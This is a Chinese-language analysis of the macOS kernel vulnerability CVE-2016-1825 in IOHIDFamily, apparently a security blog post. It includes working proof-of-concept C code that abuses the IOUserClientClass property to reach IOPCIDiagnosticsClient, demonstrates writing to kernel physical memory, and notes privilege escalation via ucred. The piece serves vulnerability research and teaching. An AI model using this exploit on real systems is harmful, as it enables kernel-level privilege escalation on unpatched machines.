0x001 前言

CVE-2016-1825是IOHIDFamily.kext内核扩展内的一个洞,在OS X 10.11.5以前版本的系统都存在该漏洞,由于允许IOHIDevice重新设置IOUserClientClass属性,导致任意代码执行。

 

0x002 调试环境

虚拟机: OS X Yosemite 10.10.5 14F27

主机: macOS Mojave 10.14.2 18C54

内核调试环境的搭建可以参照这一文:

macOS内核提权:利用CVE-2016-1758获取kernel slide(Part1)

 

0x003 内核扩展源码分析

在开始分析之前,先来了解一些概念:

1.IOKit?

IOKit是用于设备驱动程序的框架和内核子系统,与IOKit的所有交互都以IOKit主端口开始,这是另一个特殊的机器端口,允许访问IOKit Registry。 IOKit Registry允许用户态程序查找可用的硬件,而设备驱动程序可以通过实现UserClient将接口暴露给用户空间。用户空间实际与IOKit驱动程序的UserClient交互的主要方式是通过io_connect_method,此方法由IOKitUser库函数IOConnectCallMethod封装。

2.IOKit Registry?

IOKit Registry实际上是一个驱动程序可以声明键值对的地方(其中键是一个字符串,其值是属于CoreFoundation的数据类型),驱动程序还可以指定其中一些键是可配置的,这意味着从用户空间可以使用IOKit Registry的API来设置新值。

获取macOS kext扩展源码

[传送门]

打开IOHIDSystem/IOHIDevice.cpp,找到IOHIDevice::setPropertiesIOHIDevice::setParamProperties方法

// RY: Override IORegistryEntry::setProperties().  This will allow properties
// to be set per device, instead of globally via setParamProperties.
IOReturn IOHIDevice::setProperties( OSObject * properties )
{
    OSDictionary * propertyDict = OSDynamicCast(OSDictionary, properties);
    IOReturn       ret          = kIOReturnBadArgument;

    if ( propertyDict ) {
        if (propertyDict->setOptions(0, 0) & OSDictionary::kImmutable) {
            OSDictionary * temp = propertyDict;
            propertyDict = OSDynamicCast(OSDictionary, temp->copyCollection());
        }
        else {
            propertyDict->retain();
        }
        propertyDict->setObject(kIOHIDDeviceParametersKey, kOSBooleanTrue);
        ret = setParamProperties( propertyDict );
        propertyDict->removeObject(kIOHIDDeviceParametersKey);
        propertyDict->release();
    }

    return ret;
}


IOReturn IOHIDevice::setParamProperties( OSDictionary * dict )
{
    IOHIDEventService * eventService = NULL;

    if ( dict->getObject(kIOHIDEventServicePropertiesKey) == NULL ) {
        IOService * service = getProvider();
        if ( service )
            eventService = OSDynamicCast(IOHIDEventService, service);
    }

    if ( dict->getObject(kIOHIDDeviceParametersKey) == kOSBooleanTrue ) {
        OSDictionary * deviceParameters = OSDynamicCast(OSDictionary, copyProperty(kIOHIDParametersKey));

        if ( !deviceParameters ) {
            deviceParameters = OSDictionary::withCapacity(4);
        }
        else {
            if (deviceParameters->setOptions(0, 0) & OSDictionary::kImmutable) {
                OSDictionary * temp = deviceParameters;
                deviceParameters = OSDynamicCast(OSDictionary, temp->copyCollection());
                temp->release();
            }
            else {
                // do nothing
            }
        }

        if ( deviceParameters ) {
            // RY: Because K&M Prefs and Admin still expect device props to be
            // top level, let's continue to set them via setProperty. When we get
            // Max to migrate over, we can remove the interator code and use:
            // deviceParameters->merge(dict);
            // deviceParameters->removeObject(kIOHIDResetKeyboardKey);
            // deviceParameters->removeObject(kIOHIDResetPointerKey);
            // setProperty(kIOHIDParametersKey, deviceParameters);
            // deviceParameters->release();

            OSCollectionIterator * iterator = OSCollectionIterator::withCollection(dict);
            if ( iterator ) {
                OSSymbol * key;

                while ( ( key = (OSSymbol *)iterator->getNextObject() ) )
                    if (    !key->isEqualTo(kIOHIDResetKeyboardKey) && 
                            !key->isEqualTo(kIOHIDResetPointerKey) && 
                            !key->isEqualTo(kIOHIDScrollResetKey) && 
                            !key->isEqualTo(kIOHIDDeviceParametersKey) && 
                            !key->isEqualTo(kIOHIDResetLEDsKey)) {
                        OSObject * value = dict->getObject(key);

                        deviceParameters->setObject(key, value);
                        setProperty(key, value);
                    }

                iterator->release();
            }

            setProperty(kIOHIDParametersKey, deviceParameters);
            deviceParameters->release();

            // RY: Propogate up to IOHIDEventService level
            if ( eventService )
                eventService->setSystemProperties(dict);

        }
        else {
            return kIOReturnNoMemory;
        }
    }

    return( kIOReturnSuccess );
}

漏洞点在IOHIDevice::setParamProperties方法上,该方法会迭代含有键值对的字典,并对每个健值对调用setProperty方法。

打开IOHIDEventServiceClass,该处代码重写了setProperties方法,以允许用户程序通过调用IORegistryEntrySetCFProperty方法,进入io_registry_entry_set_propertiesMach陷阱设置属性。

这样,我们可以在在IOHIDevice的实例上设置IOUserClientClass客户端类属性,然后会在内核中会分配一个IOUserClient子类,通过相应子类方法可以从用户态操作内核态的数据。示例代码:

void physic_init() {
    // Get a handle to a service that allows setting arbitrary IORegistry properties.
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
            IOServiceMatching(target_service));
    if (service == IO_OBJECT_NULL) {
        printf("could not find any services matching %s", target_service);
    }
    kern_return_t kr = IORegistryEntrySetCFProperty(service,
            CFSTR("IOUserClientClass"),
            CFSTR("xxxxxxxx"));
    if (kr != KERN_SUCCESS) {
        printf("could not set property: %x", kr);
    }
......
}

打开IOPCIBridge.cpp,该方法会new一个PCIBridge的clientIOPCIDiagnosticsClient,用于调试PCI桥,当然这里Alloc相应的内核资源以前会首先检查是否具有管理员权限

再看到IOPCIDiagnosticsClient::externalMethod方法,当传入selector的参数为kIOPCIDiagnosticsMethodWrite,会向物理地址写入数据

当传入selector的参数为kIOPCIDiagnosticsMethodRead,会读出制定物理地址的数据

打开tools/pcidump.c,找到调用物理内存读写方法的配置。

向物理地址写入

从物理地址读出

 

0x004 Proof of Concept

现在总结一下以上的分析过程,以及如何利用漏洞读写物理地址:

1.找到IOHIDevice这个service,调用IORegistryEntrySetCFProperty方法将IOPCIDiagnosticsClient设置成IOUserClientClass属性。

2.在用户态空间连接上IOPCIDiagnosticsClient

3.配置IOPCIDiagnosticsParameters参数,获得对物理地址的读写方法。

编译以下poc代码(已上传到个人Github上[传送门]),部分核心代码:

#include <CoreFoundation/CoreFoundation.h>
#include <IOKit/IOKitLib.h>

#include "physic.h"


// Definitions from IOPCIDevice.h
enum {
    kIOPCIConfigSpace      = 0,
    kIOPCIIOSpace          = 1,
    kIOPCI32BitMemorySpace = 2,
    kIOPCI64BitMemorySpace = 3
};

// Definitions from IOPCIPrivate.h
enum {
    kIOPCIDiagnosticsMethodRead  = 0,
    kIOPCIDiagnosticsMethodWrite = 1,
    kIOPCIDiagnosticsMethodCount
};

struct IOPCIDiagnosticsParameters {
    uint32_t options;
    uint32_t spaceType;
    uint32_t bitWidth;
    uint32_t _resv;
    uint64_t value;
    union {
        uint64_t addr64;
        struct {
            unsigned int offset     :16;
            unsigned int function   :3;
            unsigned int device     :5;
            unsigned int bus        :8;
            unsigned int segment    :16;
            unsigned int reserved   :16;
        } pci;
    } address;
};


#define TARGET_SERVICE "IOHIDevice"
static const char *target_service = TARGET_SERVICE;

// A connection to an instance of IOPCIDiagnosticsClient through which we can access physical
static io_connect_t connection;

void physic_init() {
    // Get a handle to a service that allows setting arbitrary IORegistry properties.
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
            IOServiceMatching(target_service));
    if (service == IO_OBJECT_NULL) {
        printf("could not find any services matching %s", target_service);
    }
    kern_return_t kr = IORegistryEntrySetCFProperty(service,
            CFSTR("IOUserClientClass"),
            CFSTR("IOPCIDiagnosticsClient"));
    if (kr != KERN_SUCCESS) {
        printf("could not set property: %x", kr);
    }
    // Create a connection to the IOPCIDiagnosticsClient.
    kr = IOServiceOpen(service, mach_task_self(), 0, &connection);
    IOObjectRelease(service);
    if (kr != KERN_SUCCESS) {
        printf("could not open connection: %x", kr);
    }
}

uint64_t physic_read(uint64_t paddr, unsigned width) {
    struct IOPCIDiagnosticsParameters param;
    param.spaceType      = kIOPCI64BitMemorySpace;
    param.bitWidth       = width * 8;
    param.options        = 0;
    param.address.addr64 = paddr;
    param.value          = -1;
    size_t size = sizeof(param);
    kern_return_t kr = IOConnectCallMethod(connection, kIOPCIDiagnosticsMethodRead,
                                           NULL,       0,
                                           &param,     sizeof(param),
                                           NULL,       NULL,
                                           &param,     &size);
    if (kr != KERN_SUCCESS) {
        printf("could not read physical address %p: %x", (void *)paddr, kr);
    }
    return param.value;
}

void physic_write(uint64_t paddr, uint64_t value, unsigned width) {
    struct IOPCIDiagnosticsParameters param;
    param.spaceType      = kIOPCI64BitMemorySpace;
    param.bitWidth       = width * 8;
    param.options        = 0;
    param.address.addr64 = paddr;
    param.value          = value;
    kern_return_t kr = IOConnectCallMethod(connection, kIOPCIDiagnosticsMethodWrite,
                                           NULL,       0,
                                           &param,     sizeof(param),
                                           NULL,       NULL,
                                           NULL,       NULL);
    if (kr != KERN_SUCCESS) {
        printf("could not write physical address %p: %x", (void *)paddr, kr);
    }
}

为了验证poc是否能够对物理地址进行读写,我们需要在内核中找一块地,对该处数据进行读写。

查看kernel载入基址

查看基址数据,我们选取0xffffff800c000040该处地址做读写测试

32位的mac系统的物理地址直接就是虚拟地址,而对于64位的mac系统,将虚拟地址略去高32位即可

读取物理地址0xc000040,读出来的值与调试器显示的值一致

将数据0xdeadbeefdeadbeef写入物理地址0xc000040

回到调试器,查看0xffffff800c000040处的数据,写入成功

现在相当于可以对内核数据任意读写了,更进一步,我们可以将ucred结构的cr_svuid设置成0完成提权,关于提权过程这里就不展开了,可以参考这篇文章[macOS内核提权:利用CVE-2016-1828本地权限提升(Part2) ]

WIN~

源链接

Hacking more

...